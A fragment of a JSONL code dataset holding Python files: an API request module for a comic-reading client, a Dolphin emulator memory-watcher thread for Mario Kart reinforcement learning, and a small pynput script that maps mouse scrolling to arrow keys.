)\n\n\n\n\n\n\n\n","repo_name":"ArinaNichko/service-bot-for-work","sub_path":"message_handlers.py","file_name":"message_handlers.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14420576699","text":"import base64\nimport hashlib\nimport json\nimport time\n\nfrom config import config\nfrom config.setting import Setting\nfrom tools.tool import ToolUtil\nfrom Cryptodome.Cipher import AES\n\n\nclass ServerReq(object):\n    SPACE_PIC = set()  # 优先使用CDN，如果出现空白图片则回源\n\n    def __init__(self, url, params=None, method=\"POST\") -> None:\n        self.url = url\n        self.params = params\n        self.method = method\n        self.isParseRes = False\n        self.timeout = 5\n        self.isUseHttps = True\n        self.isUseHttps = bool(Setting.IsUseHttps.value)\n        self.proxyUrl = \"\"\n        self.cookies = {}\n        # if Setting.ProxySelectIndex.value == 5:\n        #     host = ToolUtil.GetUrlHost(url)\n        #     if host in config.Url2List:\n        #         self.proxyUrl = config.ProxyApiDomain\n        #     elif host == config.Url:\n        #         self.proxyUrl = config.ProxyApiDomain\n        #     elif host in config.PicUrlList:\n        #         self.proxyUrl = config.ProxyImgDomain\n\n        if Setting.IsHttpProxy.value == 1:\n            self.proxy = {\"http\": Setting.HttpProxy.value, \"https\": Setting.HttpProxy.value}\n        elif Setting.IsHttpProxy.value == 3:\n            self.proxy = {}\n        else:\n            self.proxy = {\"http\": None, \"https\": None}\n        self.now = int(time.time())\n        self.headers = self.GetHeader(url, method)\n        if config.ipcountry:\n            self.cookies[\"ipcountry\"] = config.ipcountry\n        if config.ipm5:\n            self.cookies[\"ipm5\"] = config.ipm5\n        if config.AVS:\n            self.cookies[\"AVS\"] = config.AVS\n        if config.shunt:\n            self.cookies[\"shunt\"] = config.shunt\n\n    def __str__(self):\n        if Setting.LogIndex.value == 0:\n            return self.__class__.__name__\n        elif Setting.LogIndex.value == 1:\n            return \"{}, url:{}\".format(self.__class__.__name__, self.url)\n        headers = dict()\n        headers.update(self.headers)\n        params = self.params\n        return \"{}, url:{}, proxy:{}, method:{}, headers:{}, params:{}\".format(self.__class__.__name__, self.url, self.proxy, self.method, headers, params)\n\n    def GetHeader(self, _url: str, method: str) -> dict:\n        param = \"{}{}\".format(self.now, \"18comicAPP\")\n        token = hashlib.md5(param.encode(\"utf-8\")).hexdigest()\n\n        header = {\n            \"tokenparam\": \"{},1.5.7\".format(self.now),\n            \"token\": token,\n            \"user-agent\": \"Mozilla/5.0 (Linux; Android 7.1.2; DT1901A Build/N2G47O; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36\",\n            \"accept-encoding\": \"gzip\",\n        }\n        if method == \"POST\":\n            header[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n        return header\n\n    def GetHeader2(self, _url: str, method: str) -> dict:\n        param = \"{}{}\".format(self.now, \"18comicAPPContent\")\n        token = hashlib.md5(param.encode(\"utf-8\")).hexdigest()\n\n        header = {\n            \"tokenparam\": \"{},1.5.7\".format(self.now),\n            \"token\": token,\n            \"user-agent\": \"Mozilla/5.0 (Linux; Android 7.1.2; DT1901A Build/N2G47O; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.198 Mobile Safari/537.36\",\n            \"accept-encoding\": \"gzip\",\n        }\n        if method == \"POST\":\n            header[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n        return header\n\n    def GetWebHeader2(self) -> dict:\n        return \\\n        {\n            # \"Content-Type\": \"application/x-www-form-urlencoded;charset=UTF-8\",\n            # \"Upgrade-Insecure-Requests\": \"1\",\n            \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43\"\n        }\n\n    def GetWebHeader(self) -> dict:\n        return {\n        # 'authority': '18comic.org',\n          \"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\n          \"accept-encoding\":\"gzip, deflate, br\",\n           # \"cookie\": 'ipcountry=CN; ipm5=6846bee8bfbb7323e83d0f32c635eae9',\n          \"accept-language\":\"zh-CN,zh;q=0.9\",\n           \"upgrade-insecure-requests\":\"1\",\n            # 'sec-ch-ua':'\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Microsoft Edge\";v=\"114\"',\n            # 'sec-ch-ua-mobile': '?0',\n            # 'sec-ch-ua-platform': '\"Windows\"',\n            # 'sec-fetch-dest': 'document',\n            # 'sec-fetch-mode': 'navigate',\n            # 'sec-fetch-site': 'none',\n            # 'sec-fetch-user': '?1',\n            'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.43\"\n        }\n\n    def ParseData(self, data) -> str:\n        param = \"{}{}\".format(self.now, \"18comicAPPContent\")\n        key = hashlib.md5(param.encode(\"utf-8\")).hexdigest()\n        aes = AES.new(key.encode(\"utf-8\"), AES.MODE_ECB)\n        byteData = base64.b64decode(data.encode(\"utf-8\"))\n        result = aes.decrypt(byteData)\n        unpad = lambda s: s[0:-s[-1]]\n        result2 = unpad(result)\n        newData = result2.decode()\n        return newData\n\n\n# 检查更新\nclass CheckUpdateReq(ServerReq):\n    def __init__(self, url):\n        # url = config.UpdateUrl\n        method = \"GET\"\n        super(self.__class__, self).__init__(url, {}, method)\n        self.isParseRes = False\n        self.headers = {}\n\n\n# 检查Pre更新\nclass CheckPreUpdateReq(ServerReq):\n    def __init__(self, url=config.UpdateUrl):\n        method = \"GET\"\n        super(self.__class__, self).__init__(url.replace(\"/latest\", \"\"), {}, method)\n        self.isParseRes = False\n        self.useImgProxy = False\n\n\n# 下载图片\nclass DownloadBookReq(ServerReq):\n    def __init__(self, url, loadPath=\"\", cachePath=\"\", savePath=\"\", saveParam=(0, 0, \"\"), isReload=False):\n        method = \"Download\"\n        self.url = url\n        if self.url in ServerReq.SPACE_PIC:\n            self.url += \"?v={}\".format(int(time.time()))\n\n        self.loadPath = loadPath\n        self.cachePath = cachePath\n        self.savePath = savePath\n        self.saveParam = saveParam\n        self.isReload = isReload\n        super(self.__class__, self).__init__(self.url, {}, method)\n        self.headers = dict()\n        self.headers[\"Accept-Encoding\"] =\"None\"\n\n\n# 注册前，需要获取cookie\nclass LoginPreReq(ServerReq):\n    def __init__(self):\n        method = \"Get2\"\n        url = config.Url + \"/login\"\n        super(self.__class__, self).__init__(url, {}, method)\n        self.headers = self.GetWebHeader()\n\n\n# 登陆\n# class LoginReq(ServerReq):\n#     def __init__(self, userId, passwd):\n#         method = \"POST\"\n#         url = config.Url + \"/login\"\n#\n#         header = self.GetHeader(url, method)\n#         data = dict()\n#         data[\"username\"] = userId\n#         data[\"password\"] = passwd\n#         data[\"submit_login\"] = \"\"\n#         super(self.__class__, self).__init__(url, header, ToolUtil.DictToUrl(data), method)\n\n\n# 登陆\nclass LoginReq2(ServerReq):\n    def __init__(self, userId, passwd):\n        method = \"POST\"\n        url = config.Url2 + \"/login\"\n        data = dict()\n        data[\"username\"] = userId\n        data[\"password\"] = passwd\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 注册\nclass RegisterReq(ServerReq):\n    def __init__(self, userId, email, passwd, passwd2, sex=\"Male\",  ver=\"\"):\n        # [Male, Female]\n\n        method = \"POST\"\n        url = config.Url + \"/signup\"\n\n        data = dict()\n        data[\"username\"] = userId\n        data[\"password\"] = passwd\n        data[\"email\"] = email\n        data[\"verification\"] = ver\n        data[\"password_confirm\"] = passwd2\n        data[\"gender\"] = sex\n        data[\"age\"] = \"on\"\n        data[\"terms\"] = \"on\"\n        data[\"submit_signup\"] = \"\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n        self.headers = self.GetWebHeader()\n\n\n# 重新获取注册验证\nclass RegisterVerifyMailReq(ServerReq):\n    def __init__(self, email):\n        method = \"POST\"\n        url = config.Url + \"/confirm\"\n\n        data = dict()\n        data[\"email\"] = email\n        data[\"submit_confirm\"] = \"發送EMAIL\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n        self.headers = self.GetWebHeader()\n\n\n# 重置密码\nclass ResetPasswordReq(ServerReq):\n    def __init__(self, email):\n        method = \"POST\"\n        url = config.Url + \"/lost\"\n\n        data = dict()\n        data[\"email\"] = email\n        data[\"submit_lost\"] = \"恢復密碼\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n        self.headers = self.GetWebHeader()\n\n\n# 验证码图片\nclass GetCaptchaReq(ServerReq):\n    def __init__(self):\n        method = \"Get2\"\n        url = config.Url + \"/captcha\"\n\n        data = dict()\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n        self.headers = self.GetWebHeader()\n\n\n# 账号验证\nclass VerifyMailReq(ServerReq):\n    def __init__(self, url):\n        method = \"GET\"\n        host = ToolUtil.GetUrlHost(url)\n        url = url.replace(host, ToolUtil.GetUrlHost(config.Url))\n\n        super(self.__class__, self).__init__(url, {}, method)\n        self.headers = self.GetWebHeader()\n\n# 获得UserInfo\n# class GetUserInfoReq(ServerReq):\n#     def __init__(self):\n#         method = \"GET\"\n#         url = config.Url + \"/user\"\n#\n#         header = self.GetHeader(url, method)\n#         data = dict()\n#         super(self.__class__, self).__init__(url, header, data, method)\n\n\n# 本子信息\n# class GetBookInfoReq(ServerReq):\n#     def __init__(self, bookId):\n#         self.bookId = bookId\n#         url = config.Url + \"/album/{}\".format(bookId)\n#         method = \"GET\"\n#         super(self.__class__, self).__init__(url, self.GetHeader(url, method), {}, method)\n\n\n# 本子信息\nclass GetBookInfoReq2(ServerReq):\n    def __init__(self, bookId):\n        self.bookId = bookId\n        url = config.Url2 + \"/album\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"comicName\"] = \"\"\n        data[\"id\"] = bookId\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获得scramble_id\nclass GetBookEpsScrambleReq2(ServerReq):\n    def __init__(self, bookId, epsIndex, epsId):\n        self.bookId = bookId\n        self.epsIndex = epsIndex\n        url = config.Url2 + \"/chapter_view_template\"\n        method = \"GET\"\n        data = dict()\n        data[\"id\"] = epsId\n        data[\"mode\"] = \"vertical\"\n        data[\"page\"] = \"0\"\n        data[\"app_img_shunt\"] = \"NaN\"\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n        self.headers = self.GetHeader2(url, method)\n\n\n# 章节信息\nclass GetBookEpsInfoReq2(ServerReq):\n    def __init__(self, bookId, epsId):\n        self.bookId = bookId\n        url = config.Url2 + \"/chapter\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"comicName\"] = \"\"\n        data[\"skip\"] = \"\"\n        data[\"id\"] = epsId\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获取一个章节的图片地址\n# class GetBookImgUrl(ServerReq):\n#     def __init__(self, bookId, epsId):\n#         from tools.book import BookMgr\n#         book = BookMgr().GetBook(bookId)\n#         epsInfo = book.pageInfo.epsInfo.get(epsId)\n#         url = config.Url + epsInfo.epsUrl\n#         method = \"Get\"\n#         self.bookId = bookId\n#         self.epsId = epsId\n#         super(self.__class__, self).__init__(url, self.GetHeader(url, method), {}, method)\n\n\n# 搜索请求\n# class GetSearchReq(ServerReq):\n#     def __init__(self, search, page=1, mainCategory=\"\", subCategory=\"\", sort=\"mr\", sortDay=\"a\"):\n#         # sort []&t=t&o=tf\n#\n#         # 所有，今日，本周，本月\n#         # t= [a, t, w, m]\n#\n#         # 最新，最多点击，最多图片, 最多爱心\n#         # o = [mr, mv, mp, tf]\n#\n#         # 其他漫画，another\n#         # 同人志, doujin, [汉化：chinese, 日语：japanese， CG:CG, cosplay:cosplay]\n#         # 韩漫  hanman\n#         # 美漫  meiman\n#         # 短片 short, [汉化：chinese, 日语：japanese]\n#         # 单本 single, [汉化：chinese, 日语：japanese]\n#\n#         data = {\"search_query\": search}\n#\n#         if page > 1:\n#             data['page'] = str(page)\n#         if sortDay:\n#             data['t'] = sortDay\n#         if sort:\n#             data[\"o\"] = sort\n#         url = config.Url + \"/search/photos\"\n#         if mainCategory:\n#             url += \"/\" + mainCategory\n#             if subCategory:\n#                 url += \"/sub/\" + subCategory\n#\n#         param = ToolUtil.DictToUrl(data)\n#         if param:\n#             url += \"/?\" + param\n#         method = \"GET\"\n#         super(self.__class__, self).__init__(url, self.GetHeader(url, method),\n#                                              {}, method)\n\n\n# 搜索请求\nclass GetSearchReq2(ServerReq):\n    def __init__(self, search, sort=\"mr\", page=1):\n\n        # 最新，最多点击，最多图片, 最多爱心\n        # o = [mr, mv, mp, tf]\n\n        data = dict()\n        data[\"search_query\"] = search\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        if page > 1:\n            data['page'] = str(page)\n        if sort:\n            data[\"o\"] = sort\n        url = config.Url2 + \"/search\"\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        method = \"GET\"\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 分類请求\nclass GetCategoryReq2(ServerReq):\n    def __init__(self):\n        url = config.Url2 + \"/categories\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        method = \"GET\"\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 分類搜索请求\nclass GetSearchCategoryReq2(ServerReq):\n    def __init__(self, category=\"0\", page=1, sort=\"mr\"):\n        # sort []&t=t&o=tf\n\n        # 最新，总排行，月排行，周排行， 日排行，最多图片, 最多爱心\n        # o = [mr, mv, mv_m, mv_w, mv_t, mp, tf]\n\n        # 最新, 同人, 单本, 短篇， 其他，韩漫， 美漫， CosPlay， 3D\n        # category = [\"0\", \"doujin\", \"single\", \"short\", \"another\", \"hanman\", \"meiman\", \"doujin_cosplay\", \"3D\"]\n\n        url = config.Url2 + \"/categories/filter\"\n\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n\n        if page > 1:\n            data['page'] = str(page)\n        if sort:\n            data[\"o\"] = sort\n\n        if category:\n            data[\"c\"] = category\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        method = \"GET\"\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获得首页\n# class GetIndexInfoReq(ServerReq):\n#     def __init__(self):\n#         url = config.Url\n#         method = \"GET\"\n#         super(self.__class__, self).__init__(url, self.GetHeader(url, method),\n#                                              {}, method)\n\n\n# 获得首页\nclass GetIndexInfoReq2(ServerReq):\n    def __init__(self, page=\"0\"):\n        url = config.Url2 + \"/promote\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"page\"] = page\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获得最近更新\nclass GetLatestInfoReq2(ServerReq):\n    def __init__(self, page=\"0\"):\n        url = config.Url2 + \"/latest\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"page\"] = page\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获得收藏\nclass GetFavoritesReq2(ServerReq):\n    def __init__(self, page=1, sort=\"mr\", fid=\"\"):\n        # 收藏时间, 更新时间\n        # o = [mr, mp]\n        url = config.Url2 + \"/favorite\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"page\"] = page\n        if fid:\n            data[\"folder_id\"] = fid\n        else:\n            data[\"folder_id\"] = \"0\"\n        data[\"o\"] = sort\n\n        param = ToolUtil.DictToUrl(data)\n        self.now = int(time.time())\n        if param:\n            url += \"/?\" + param\n\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 添加收藏文件夹\nclass AddFavoritesFoldReq2(ServerReq):\n    def __init__(self, name=\"\"):\n        url = config.Url2 + \"/favorite_folder\"\n        method = \"POST\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"folder_name\"] = name\n        data[\"view_mode\"] = \"null\"\n        data[\"type\"] = \"add\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 删除收藏文件夹\nclass DelFavoritesFoldReq2(ServerReq):\n    def __init__(self, fid=\"\"):\n        url = config.Url2 + \"/favorite_folder\"\n        method = \"POST\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"folder_id\"] = fid\n        data[\"view_mode\"] = \"null\"\n        data[\"type\"] = \"del\"\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n# 移动收藏文件夹\nclass MoveFavoritesFoldReq2(ServerReq):\n    def __init__(self, bookId=\"\", fid=\"\"):\n        url = config.Url2 + \"/favorite_folder\"\n        method = \"POST\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"folder_id\"] = fid\n        data[\"view_mode\"] = \"null\"\n        data[\"type\"] = \"move\"\n        data[\"aid\"] = bookId\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 添加收藏\nclass AddAndDelFavoritesReq2(ServerReq):\n    def __init__(self, bookId=\"\"):\n        url = config.Url2 + \"/favorite\"\n        method = \"POST\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"aid\"] = bookId\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 获得收藏\n# class GetFavoritesReq(ServerReq):\n#     def __init__(self, page=1, sort=\"mr\"):\n#         # 收藏时间, 更新时间\n#         # o = [mr, mp]\n#         data = dict()\n#         data[\"o\"] = sort\n#         if page > 1:\n#             data['page'] = str(page)\n#         param = ToolUtil.DictToUrl(data)\n#         url = config.Url + \"/user/\" + config.LoginUserName + \"/favorite/albums/?\" + param\n#         method = \"GET\"\n#\n#         super(self.__class__, self).__init__(url, self.GetHeader(url, method),\n#                                              {}, method)\n\n\n# 添加收藏\n# class AddFavoritesReq(ServerReq):\n#     def __init__(self, bookId=\"\"):\n#         url = config.Url + \"/ajax/favorite_album\"\n#         method = \"POST\"\n#         header = self.GetHeader(url, method)\n#         data = dict()\n#         data[\"album_id\"] = bookId\n#         data[\"fid\"] = 0\n#\n#         header[\"origin\"] = config.Url\n#         header[\"referer\"] = config.Url + \"/album/{}/\".format(bookId)\n#         super(self.__class__, self).__init__(url, header,\n#                                              ToolUtil.DictToUrl(data), method)\n\n\n# 删除收藏\n# class DelFavoritesReq(ServerReq):\n#     def __init__(self, bookId=\"\"):\n#         url = config.Url + \"/ajax/remove_album_playlist\"\n#         method = \"POST\"\n#         header = self.GetHeader(url, method)\n#         data = dict()\n#         data[\"video_id\"] = bookId\n#         data[\"list\"] = \"favorites\"\n#         super(self.__class__, self).__init__(url, header,\n#                                              ToolUtil.DictToUrl(data), method)\n\n\n# 获得评论\nclass GetCommentReq2(ServerReq):\n    def __init__(self, bookId=\"\", page=\"1\", readMode=\"manhua\"):\n        self.bookId = bookId\n        url = config.Url2 + \"/forum\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"mode\"] = readMode\n        if bookId:\n            data[\"aid\"] = bookId\n        data[\"page\"] = page\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 获得评论\nclass GetMyCommentReq2(ServerReq):\n    def __init__(self, uid, page=\"1\"):\n        self.uid = uid\n        url = config.Url2 + \"/forum\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"mode\"] = \"undefined\"\n        data[\"uid\"] = uid\n        data[\"page\"] = page\n\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n\n\n# 发送评论\nclass SendCommentReq2(ServerReq):\n    def __init__(self, bookId=\"\", comment=\"\", cid=\"\"):\n        url = config.Url2 + \"/comment\"\n        method = \"POST\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"comment\"] = comment\n        data[\"aid\"] = bookId\n        if cid:\n            data[\"comment_id\"] = cid\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 获取观看记录\nclass GetHistoryReq2(ServerReq):\n    def __init__(self, page=1):\n        url = config.Url2 + \"/watch_list\"\n        method = \"GET\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"page\"] = page\n        super(self.__class__, self).__init__(url, ToolUtil.DictToUrl(data), method)\n\n\n# 查看评论\n# class LookCommentReq(ServerReq):\n#     def __init__(self, bookId=\"\", page=1):\n#         data = dict()\n#         if bookId:\n#             # 漫画评论\n#             url = config.Url + \"/ajax/album_pagination\"\n#             data[\"video_id\"] = bookId\n#         else:\n#             # 全部评论\n#             url = config.Url + \"/ajax/forum_more\"\n#         method = \"POST\"\n#         header = self.GetHeader(url, method)\n#\n#         data[\"page\"] = page\n#         super(self.__class__, self).__init__(url, header, ToolUtil.DictToUrl(data), method)\n\n\n# 回复评论\n# class ReplySubCommentReq(ServerReq):\n#     def __init__(self, replyId=\"\", comment=\"\"):\n#         url = config.Url + \"/ajax/forum_more\"\n#         method = \"POST\"\n#         header = self.GetHeader(url, method)\n#         data = dict()\n#         data[\"comment_id\"] = replyId\n#         data[\"comment\"] = comment\n#         data[\"forum_subject\"] = 1\n#         data[\"originator\"] = \"\"\n#         data[\"is_reply\"] = 1\n#         data[\"video_id\"] = 0\n#         super(self.__class__, self).__init__(url, header, ToolUtil.DictToUrl(data), method)\n\n# Doh域名解析\nclass DnsOverHttpsReq(ServerReq):\n    def __init__(self, domain=\"\"):\n        url = Setting.DohAddress.value + \"?name={}&type=A\".format(domain)\n        method = \"GET\"\n        header = dict()\n        header[\"accept\"] = \"application/dns-json\"\n        super(self.__class__, self).__init__(url, {}, method)\n        self.timeout = 5\n        self.headers = header\n        self.isParseRes = True\n\n\n# 测试Ping\nclass SpeedTestPingReq(ServerReq):\n    def __init__(self):\n        url = config.Url2 + \"/latest\"\n        data = dict()\n        data[\"key\"] = \"0b931a6f4b5ccc3f8d870839d07ae7b2\"\n        data[\"view_mode_debug\"] = \"1\"\n        data[\"view_mode\"] = \"null\"\n        data[\"page\"] = \"0\"\n\n        method = \"GET\"\n        param = ToolUtil.DictToUrl(data)\n        if param:\n            url += \"/?\" + param\n        super(self.__class__, self).__init__(url, {}, method)\n        self.headers['cache-control'] = 'no-cache'\n        self.headers['expires'] = '0'\n        self.headers['pragma'] = 'no-cache'\n        self.headers[\"authorization\"] = \"\"\n        self.isReload = False\n\n\nclass SpeedTestReq(ServerReq):\n    Index = 0\n    URLS = [\n        # \"/media/photos/295840/00001.jpg\"\n        # \"/media/photos/295840/00002.jpg\",\n        \"/media/photos/292840/00002.webp\",\n        # \"/media/photos/295840/00004.jpg\",\n    ]\n\n    def __init__(self):\n        url = SpeedTestReq.URLS[SpeedTestReq.Index]\n        SpeedTestReq.Index += 1\n        if SpeedTestReq.Index >= len(SpeedTestReq.URLS):\n            SpeedTestReq.Index = 0\n\n        url = config.PicUrl2 + url\n        method = \"Download\"\n        super(self.__class__, self).__init__(url, {}, method)\n        self.headers['cache-control'] = 'no-cache'\n        self.headers['expires'] = '0'\n        self.headers['pragma'] = 'no-cache'\n        self.isReload = False","repo_name":"tonquer/JMComic-qt","sub_path":"src/server/req.py","file_name":"req.py","file_ext":"py","file_size_in_byte":26248,"program_lang":"python","lang":"en","doc_type":"code","stars":1067,"dataset":"github-code","pt":"22"}
+{"seq_id":"74248683896","text":"import threading\nfrom copy import deepcopy\n\nfrom .memory_watcher import MemoryWatcher\nfrom .state_manager import StateManager\nfrom .state import State\n\nimport logging\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format=\"(%(threadName)-9s) %(message)s\",\n)\n\n\nclass MemoryWatcherThread(threading.Thread):\n    \"\"\"Adds MemoryWatcher changes to state asynchronously to allow for getting most up to date state at any given time.\"\"\"\n\n    def __init__(\n        self,\n        mem_path=\"/Users/jackboynton/Library/Application Support/Dolphin/MemoryWatcher/MemoryWatcher\",\n        group=None,\n        target=None,\n        name=None,\n        args=(),\n        kwargs=None,\n    ):\n        super(MemoryWatcherThread, self).__init__(group=group, target=target, name=name)\n        self.state = State()  # most recently updated state object\n        self.previous_states = []\n        self.state_manager = StateManager(self.state)\n        self.memory_watcher = MemoryWatcher(mem_path)\n        self.memory_watcher = self.memory_watcher.__enter__()  # replaced with context\n        logging.debug(\n            f\"init memory_watcher and state_manager inside MemoryWatcherThread\"\n        )\n\n    def run(self):\n        logging.debug(f\"previous_states: {str(len(self.previous_states))}\")\n        while True:\n            new_state = next(self.memory_watcher)  # observe change\n            if new_state is not None and len(new_state):\n                self.previous_states.append(\n                    deepcopy(self.state)\n                )  # add previous state to list before updating self.state\n                if isinstance(new_state[0], tuple) or isinstance(new_state, list):\n                    for r in new_state:\n                        try:\n                            self.state_manager.handle(r[0], r[1])\n                        except Exception as e:\n                            print(\n                                e\n                            )  # loading sometimes takes longer and passes non-correct values at first...\n                else:\n                    self.state_manager.handle(\n                        new_state\n                    )  # handle single state change and update self.state\n","repo_name":"JackWBoynton/mariokart-rl","sub_path":"mario-env/mario_env/envs/threaded_mw.py","file_name":"threaded_mw.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"6270635190","text":"parameter1=1\n\nimport threading\nimport time\n\nfrom pynput import mouse,keyboard\nmouse1=mouse.Controller()\nkeyboard1=keyboard.Controller()\n\n\n\n\ndef on_scroll(x, y, dx, dy):\n    if dy>0:\n        keyboard1.press(keyboard.Key.left)\n        keyboard1.release(keyboard.Key.left)\n    elif dy<0:\n        keyboard1.press(keyboard.Key.right)\n        keyboard1.release(keyboard.Key.right)\n\n\n\ndef on_press(key):\n    print(key)\n\ndef on_release(key):\n    print(key)\n\ndef listen_mouse():\n    with mouse.Listener(on_scroll=on_scroll) as listener:\n        listener.join()\n\ndef listen_keyboard():\n    with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:\n        listener.join()\n\n\n\nt_m=threading.Thread(target=listen_mouse)\nt_m.start()\n\nt_k=threading.Thread(target=listen_keyboard)\nt_k.start()\n\n\nt_m.join()\nt_k.join()","repo_name":"Sisyphus-Z/python","sub_path":"tools/看视频快捷操作.py","file_name":"看视频快捷操作.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
